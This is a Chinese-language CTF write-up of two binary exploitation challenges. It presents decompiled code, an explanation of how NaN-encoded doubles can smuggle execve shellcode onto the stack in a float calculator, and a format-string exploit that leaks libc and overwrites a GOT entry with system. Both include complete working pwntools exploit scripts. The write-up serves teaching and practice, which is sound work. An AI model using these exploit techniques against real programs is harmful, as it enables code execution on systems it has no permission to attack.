题目复现

float

静态分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
void *v3; // rsp
void *v4; // rsp
double *v5; // rbx
_BYTE v6[12]; // [rsp+8h] [rbp-50h] BYREF
int v7; // [rsp+14h] [rbp-44h]
int i; // [rsp+18h] [rbp-40h]
int j; // [rsp+1Ch] [rbp-3Ch]
double *v10; // [rsp+20h] [rbp-38h]
void *s; // [rsp+28h] [rbp-30h]
void *buf; // [rsp+30h] [rbp-28h]
double v13; // [rsp+38h] [rbp-20h]
unsigned __int64 v14; // [rsp+40h] [rbp-18h]

v14 = __readfsqword(0x28u);
v3 = alloca(400LL);
s = v6;
v4 = alloca(64LL);
buf = v6;
memset(v6, 0, 0x180uLL);
memset(buf, 0, 0x30uLL);
qword_40E0 = s; // 存栈地址
dword_4010 = 0;
sub_1384();
sub_14C9();
while ( 1 )
{
v7 = read(0, buf, 0x180uLL); // 栈溢出
if ( v7 > 47 )
v7 = 48;
for ( i = 0; i < v7 && *(buf + i) != '\n'; ++i )
{
if ( *(buf + i) <= ' ' || *(buf + i) > '0' )// 0的情况未包括
{
if ( *(buf + i) > '/' && *(buf + i) <= '9' )
{
if ( dword_4010 > 47 ) // 只能运算48次
{
puts("ERROR");
exit(1);
}
++dword_4010;
v5 = qword_40E0;
*v5 = atof(buf + i);
qword_40E0 += 8LL;
while ( *(buf + i + 1) == '.' || *(buf + i + 1) > '/' && *(buf + i + 1) <= '9' )
++i;
}
}
else
{ // 符号处理(0也包括在里面,导致漏洞
if ( dword_4010 <= 1 )
{
puts("ERROR");
exit(1);
}
v10 = s;
for ( j = 0; j <= 47; ++j )
{
v13 = fabs(*v10);
if ( v13 != 0.0 && (v13 < 1.0 || v13 > 100.0) )// 不满足即可使用伪造NaN
{
printf("ERROR: %lf\n", v13);
exit(1);
}
++v10;
}
(func_list[*(buf + i) - 0x20])(); // 如果为0,会执行func_list[0x30 - 0x20]()
}
}
if ( s < qword_40E0 )
printf("Result: %lf\n", *(qword_40E0 - 8));// 依靠ASCII码寻找到对应的函数
}
}

当为0的时候就会有

image-20240502170138697

qword_40E0 = s; ,是栈上的指针,那么就会执行栈上的shellcode,现在只需要找到站上的shellcode是怎么回事即可

本题目的大概逻辑是:首先大体是一个浮点数计算的程序,它有着加减乘除的功能,它每读进一个数,就会将其保存在栈上,以IEEE浮点表示形式,其中每次读进的值要不满足a!=0 && (a<1.0 || a>100.0)的条件,然而在判断a时,有一个纰漏便是在判断符号的时候将0也攘括进去了,因此导致了一个栈上shellcode的执行

动态调试的部分边省略,主要还是对上述的验证

IEEE标准的浮点形式的double型主要是1位的符号位,11位的指数位,52位的有效数,其中指数位是要再加上一个偏移1027即011111111111,例如1的浮点形式便是0 0111111111111 000000000…….00000000

而浮点形式的特殊情况便是NaN,表示0/0等无意义的形式,其中

NaN 的两个特殊属性是:

  1. 与其他浮点数(包括 NaN 和 ±∞ )的比较结果:
比较 NaN ≥ x NaN ≤ x NaN > x NaN < x NaN = x NaN ≠ x
结果 False False False False False True
  1. 它有许多可能的编码,允许它携带其他信息,例如指示 NaN 来源的诊断信息。例如:

double-64 NaN:s111 1111 1111 xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx (其中s是符号,x序列表示非零数字(零值编码表示无穷大))

因此如果直接以NaN表示的话那个条件便是不成立的,就能直接构造shellcode

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

local = 1
pc = './fcalc'
aslr = True
context.log_level = "debug"
#context.terminal = ["deepin-terminal","-m","splitscreen","-e","bash","-c"]
#context.terminal = ['tmux','splitw','-h']

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF(pc)

if local == 1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc,aslr=aslr)
else:
remote_addr = ['node4.buuoj.cn', 6666]
p = remote(remote_addr[0], remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

if __name__ == "__main__":
payload = '1 1 0'.ljust(0x40, 'a')
payload += p64(0x7FFFFFFFFFFFFFFF)*2 # frist two doubles in the stack (padding)

jmpn = b"\xEB\x02"
NaNHeader = b"\xFF\x7F"
# 0: 31 c0 xor eax,eax
# 2: 31 db xor ebx,ebx
# 4: 66 b8 3b 00 mov ax,0x3b
# 8: 66 bb 68 00 mov bx,0x68
# c: 48 c1 e3 10 shl rbx,0x10
# 10: 66 bb 2f 73 mov bx,0x732f
# 14: 48 c1 e3 10 shl rbx,0x10
# 18: 66 bb 69 6e mov bx,0x6e69
# 1c: 48 c1 e3 10 shl rbx,0x10
# 20: 66 bb 2f 62 mov bx,0x622f
# 24: 53 push rbx
# 25: 48 89 e7 mov rdi,rsp
# 28: 31 f6 xor esi,esi
# 2a: 31 d2 xor edx,edx
# 2c: 0f 05 syscall
payload += '\x31\xc0\x31\xdb' + jmpn + NaNHeader
payload += '\x66\xb8\x3b\x00' + jmpn + NaNHeader
payload += '\x66\xbb\x68\x00' + jmpn + NaNHeader
payload += '\x48\xc1\xe3\x10' + jmpn + NaNHeader
payload += '\x66\xbb\x2f\x73' + jmpn + NaNHeader
payload += '\x48\xc1\xe3\x10' + jmpn + NaNHeader
payload += '\x66\xbb\x69\x6e' + jmpn + NaNHeader
payload += '\x48\xc1\xe3\x10' + jmpn + NaNHeader
payload += '\x66\xbb\x2f\x62' + jmpn + NaNHeader
payload += '\x53\x48\x89\xe7' + jmpn + NaNHeader
payload += '\x31\xf6\x31\xd2' + jmpn + NaNHeader
payload += '\x0f\x05\x90\x90' + jmpn + NaNHeader # \x90 is nop

ru('expression:\n')
sn(payload)

p.interactive()

image-20240502202506903

format

静态分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rbx
char v5; // [rsp+15h] [rbp-14Bh]
__int16 v6; // [rsp+16h] [rbp-14Ah]
char *lineptr; // [rsp+18h] [rbp-148h] BYREF
size_t n; // [rsp+20h] [rbp-140h] BYREF
void *ptr; // [rsp+28h] [rbp-138h] BYREF
__int64 temp_size; // [rsp+30h] [rbp-130h] BYREF
void *ptr1; // [rsp+38h] [rbp-128h] BYREF
char format[264]; // [rsp+40h] [rbp-120h] BYREF
unsigned __int64 v13; // [rsp+148h] [rbp-18h]

v13 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
while ( 1 )
{
puts("Submit replay as hex (use xxd -p -c0 replay.osr | ./analyzer):");
lineptr = 0LL;
n = 0LL;
if ( getline(&lineptr, &n, stdin) <= 0 ) // 读取到lineptr一行字符
break;
v3 = lineptr;
v3[strcspn(lineptr, "\n")] = 0;
if ( !*lineptr )
break;
temp_size = hexs2bin(lineptr, &ptr);
ptr1 = ptr;
if ( !temp_size )
{
puts("Error: failed to decode hex");
return 1;
}
puts("\n=~= miss-analyzer =~=");
v5 = read_byte(&ptr1, &temp_size); // 读一个字节
if ( v5 )
{
switch ( v5 )
{
case 1:
puts("nothing now.");
break;
case 2:
puts("nothing now.");
break;
case 3:
puts("nothing now.");
break;
}
}
else
{
puts("default");
}
consume_bytes(&ptr1, &temp_size, 4LL); // 读4个字节
read_string(&ptr1, &temp_size, format, 255LL);// 读入format
printf("Hash: %s\n", format);
read_string(&ptr1, &temp_size, format, 255LL);// 再次读入format
printf("Player name: ");
printf(format); // 格式化字符串漏洞
putchar(10);
read_string(&ptr1, &temp_size, format, 255LL);// 再次读入format
consume_bytes(&ptr1, &temp_size, 10LL); // 读10个字节
v6 = read_short(&ptr1, &temp_size); // 读2个字节
printf("Miss count: %d\n", (unsigned int)v6);
if ( v6 )
puts("Yep, looks like you missed.");
else
puts("You didn't miss!");
puts("=~=~=~=~=~=~=~=~=~=~=\n");
free(lineptr);
free(ptr);
}
return 0;
}

本题的静态分析十分困难,而且脚本的编写也很困难,算是长见识了。。(第一次脚本没写出来

先看read_string函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
_BYTE *__fastcall read_string(_QWORD *a1, _QWORD *a2, _BYTE *a3, unsigned int a4)
{
_BYTE *result; // rax
char byte; // al
unsigned int v6; // edx
unsigned int v7; // eax
unsigned int v10; // [rsp+24h] [rbp-1Ch]
char i; // [rsp+28h] [rbp-18h]
unsigned int j; // [rsp+2Ch] [rbp-14h]

*a3 = 0;
result = (_BYTE *)read_byte(a1, a2);
if ( (_BYTE)result )
{
if ( (_BYTE)result != 0xB ) // 第一个字节要是0b
{
puts("Error: failed to read string");
exit(1);
}
v10 = 0;
for ( i = 0; ; i += 7 )
{
byte = read_byte(a1, a2);
v10 |= (byte & 0x7F) << i;
if ( byte >= 0 )
break;
}
for ( j = 0; ; ++j )
{
v6 = a4;
if ( a4 > v10 )
v6 = v10;
if ( v6 <= j )
break;
a3[j] = read_byte(a1, a2);
}
while ( v10 > j )
{
read_byte(a1, a2);
++j;
}
v7 = v10;
if ( a4 <= v10 )
v7 = a4;
result = &a3[v7];
*result = 0;
}
return result;
}

再看read_byte函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall read_byte(_QWORD *ptr1, _QWORD *ptr2)
{
unsigned __int8 v3; // [rsp+1Fh] [rbp-1h]

if ( !*ptr2 )
{
puts("Error: failed to read replay");
exit(1);
}
v3 = *(_BYTE *)(*ptr1)++;
--*ptr2;
return v3;
}

复杂的一匹,但是搞懂每个函数的内容,然后再一步一步来,便不会有太大的困难

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import*
import binascii

elf_path='./format'

libc=ELF('./libc.so.6',checksec=False)

elf=ELF(elf_path,checksec=True)

context.binary=elf_path

context.log_level='debug'

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

local = 1

def debug(content=0):
if(local):
if content:
gdb.attach(p,content)
else:
gdb.attach(p)
pause()

def run():
if(local):
return process(elf_path)
return remote()

p=run()

def consume_bytes(nb:int)->bytes:
return b'55'*nb

def read_string(s: str):
size = (hex(len(s))[2:].rjust(2, "0")).encode('utf-8')
data = binascii.hexlify(s.encode('utf-8'))
info(f"{size} + {data}")
return b"0b" + size + data

def input_1(payload):
if type(payload) == bytes:
payload = payload.decode()
payload_ =consume_bytes(5)
payload_ +=read_string("11112222")
payload_ +=read_string(payload)
payload_ +=read_string("ohh good")
payload_ +=consume_bytes(10+2)
print(payload_)
sla(b"Submit replay as hex (use xxd -p -c0 replay.osr | ./analyzer):\n",payload_)
ru(b"Player name: ")
return rl()[:-1]

leaklibc = input_1("%3$p")
info(f'leaklibc===>{leaklibc}')
libc.address=int(leaklibc,16)-0x114887
info(f'libc_base===>{hex(libc.address)}')
#debug()

auto = FmtStr(input_1,offset=14) #input_1是往addr写入value的值,offset是偏移
# [*] Found format string offset: 14
# one = pack(libc.address + 0xebc81) #这是某个one_gadget
auto.write(elf.got['strcspn'],libc.sym.system) #先打包一个strcspn写入system的字节串
auto.execute_writes() #然后再写入

sl(b"/bin/sh")

irt()

总结 做格式化字符串漏洞的时候应该先把向addr写入value的自动函数写出来(不要怕麻烦,这样之后可以节省很多的麻烦。